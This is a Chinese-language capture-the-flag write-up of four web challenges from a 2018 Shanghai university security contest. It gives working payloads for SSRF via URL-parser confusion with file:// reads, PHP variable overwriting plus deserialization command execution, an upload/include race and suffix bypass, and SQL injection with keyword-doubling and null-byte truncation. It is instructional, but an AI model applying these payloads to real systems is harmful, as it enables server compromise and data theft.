2018“骇极杯”上海大学生网络安全大赛 Web题解
又被师傅们教育了,还是太菜了,代码审计还得继续学习。
Web1
what are you doing?
进去源码让我们看robots,发现source.php和flag.php,访问source.php让我们post一个admin给它。

如图,我们再伪造IP,经尝试,X-Client-IP可以成功伪造。

再添加参数url=http://www.ichunqiu.com

发现了一个download/553740661;img1.jpg 这样的地址,浏览器访问是一个损坏的图片,我们curl一下看原始数据

可以看到返回的内容其实是正常访问网页的返回的数据,然而这数据是访问什么网址返回的呢,对,就是我们输入url的参数http://www.ichunqiu.com,我们curl证实一下。

成功了。做到这就应该是ssrf了,通过服务端读到上面看到的flag.php的源码就行。不过题目限定了url为http://www.ichunqiu.com,怎么绕过呢。
这里是利用了libcurl和parse_url对网址解析方式的不同绕过的,详细看这简而言之,parse_url识别最后一个@后面的host,而libcurl识别的是第一个@后面的host。当代码先用parse_url识别host再判断是否curl时,我们可以这样构造url
http://@hacker.com@www.ichunqiu.com/
这样parse_url识别出了www.ichunqiu.com而libcurl却识别出了hacker.com,并且按照上面那篇博客直接忽略了www.ichunqiu.com。在这里我们可以改成127.0.0.1:80
http://@127.0.0.1:80@www.ichunqiu.com/index.php

可以看到,包含了index.php的内容说明成功了,现在我们直接构造payload拿到flag,注意file协议file://,由于file://是读本地文件的协议,所以不需要host但是还是保留了host的位置file://host/var/www/html/flag.php,而curl和浏览器都会忽略file协议的host所以输入啥都可以。
payload:url=file://@123@www.ichunqiu.com/var/www/html/flag.php

最后绕过的姿势根本没想到,Orz膜师傅们。
Web2
can you hack me?
.index.php.swp扫到源码,vi -r .index.php.swp 看到源码。
<?php
error_reporting(0);
class come{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));
}
}
function waf($str){
$str=preg_replace("/[<>*;|?\n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;
}
function echo($host){
system("echo $host");
}
function __destruct(){
if (in_array($this->method, array("echo"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
}
$first='hi';
$var='var';
$bbb='bbb';
$ccc='ccc';
$i=1;
foreach($_GET as $key => $value) {
if($i===1)
{
$i++;
$$key = $value;
}
else{break;}
}
if($first==="doller")
{
@parse_str($_GET['a']);
if($var==="give")
{
if($bbb==="me")
{
if($ccc==="flag")
{
echo "<br>welcome!<br>";
$come=@$_POST['come'];
unserialize($come);
}
}
else
{echo "<br>think about it<br>";}
}
else
{
echo "NO";
}
}
else
{
echo "Can you hack me?<br>";
}
?>
简单的$$和parse_url变量覆盖问题(注意参数记得转义),不清楚的可以看这里 构造payload
?first=doller&a=var%3dgive%26bbb%3dme%26ccc%3dflag
这时我们已经可以从浏览器看到最里层的welcome!了,里面是一个反序列化导致代码执行的漏洞,关于反序列化漏洞可以看这里
从代码中我们可以发现,创建对象__construct()给对象赋予属性,__wakeup()通过waf()过滤了一遍参数,对象被销毁时会执行__destruct()并调用echo()函数执行命令。我们应该在本地反序列化,空格可以用tab代替,过滤了flag可以双写绕过。
按上图得到反序列化值,放到我们payload里就能执行ls命令。最后执行cat /flag拿到flag
Web3
代码审计
<?php
//error_reporting(0);
//$dir=md5("icq" . $_SERVER['REMOTE_ADDR']);
$dir=md5("icq");
$sandbox = '/var/sandbox/' . $dir;
@mkdir($sandbox);
@chdir($sandbox);
if($_FILES['file']['name']){
$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
if (!is_array($filename)) {
$filename = explode('.', $filename);
}
$ext = end($filename);
if($ext==$filename[count($filename) - 1]){
die("emmmm...");
}
$new_name = (string)rand(100,999).".".$ext;
move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
$_ = $_POST['hehe'];
if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
include($_);
}
unlink($new_name);
}
else{
highlight_file(__FILE__);
}
?>
本地搭建一个一样代码环境。
看代码我们需要上传一个文件,POST一个file可以替换filename进行处理,POST一个hehe经过判断后include它。
$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
if (!is_array($filename)) {
$filename = explode('.', $filename);
}
$ext = end($filename);
if($ext==$filename[count($filename) - 1]){
die("emmmm...");
}
需要绕过绕过上面代码,上面一个if只判断了非array的情况,我们POST一个file数组,file[]有多个数据,end($filename)
取最后插入的那个,$filename[count($filename) - 1]
取file[倒数第二个值],所以我们可以构造
file[1]=123,file[2]=123,file[3]=php #end取的是file[3],后面取的是file[2]。
$new_name = (string)rand(100,999).".".$ext;
move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
$_ = $_POST['hehe'];
if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
include($_);
}
unlink($new_name);
这段代码就相当的坑了,比赛时我尝试了include是不能使用http://和data://和php://协议的。所以我最后想出,既然本地保存上传文件和unlink删掉上传文件是有时间差的,只要我开足够多的线程,最多在几分钟内就可以条件竞争碰撞出正好本次生成的$new_name为123.php,然后我每个线程都将hehe的值设置为123.php,那么一定能在unlink 123.php之前正好有一个线程include它执行我们的代码。在本地我也跑通了,可是可能远程的docker环境限制了访问线程还是网络问题,没能成功。
好了,不吐槽了TAT,正确题解是我们可以将后缀改为php/. 这样unlink就删不掉它,不用跑多少遍就可以执行代码了。
本地构造代码
<!DOCTYPE html>
<html>
<head>
<title>1234</title>
</head>
<body>
<form method="post" enctype="multipart/form-data" action="http://db4ca1f2f2ca463c86e554f0b58c46d77d4200367f2a4d55.game.ichunqiu.com/">
<input type="file" name="file">
<input type="text" name="file[1]">
<input type="text" name="file[2]">
<input type="text" name="file[3]">
<input type="text" name="hehe">
<input type="submit" name="submit">
</form>
</body>
</html>

按照上面的提交跑个一千次,远程环境里就有了几乎所有100-999.php且里面都写了@<?php phpinfo(); ?> 此时我们再访问几次肯定就能执行代码了。
最后拿到flag

Web4
web4进去有一个select guest
随便尝试一下发现可以注入
select_guest.php?id=1,有回显ip
select_guest.php?id=-1' or 1=1-- - 也有回显
fuzz一下union information_schema.tables information_schema.columns 被过滤但是information_schema . tables information_schema . columns 考虑盲注。
通过回显$content=str_replace($value,"",$content)可以看出有替换关键字,fuzz一下发现select和from被过滤双写即可绕过。
得到admin密码adminpassword
进去是一个注入页面,随便上传一个txt文件要求我们上传flag.php,然而禁止上传php。

如下图测试发现最终上传文件位置为uploaddir + filename。所以可以flag.ph + p拆分开来上传。最后的自动加的.txt可以用02字节截断。

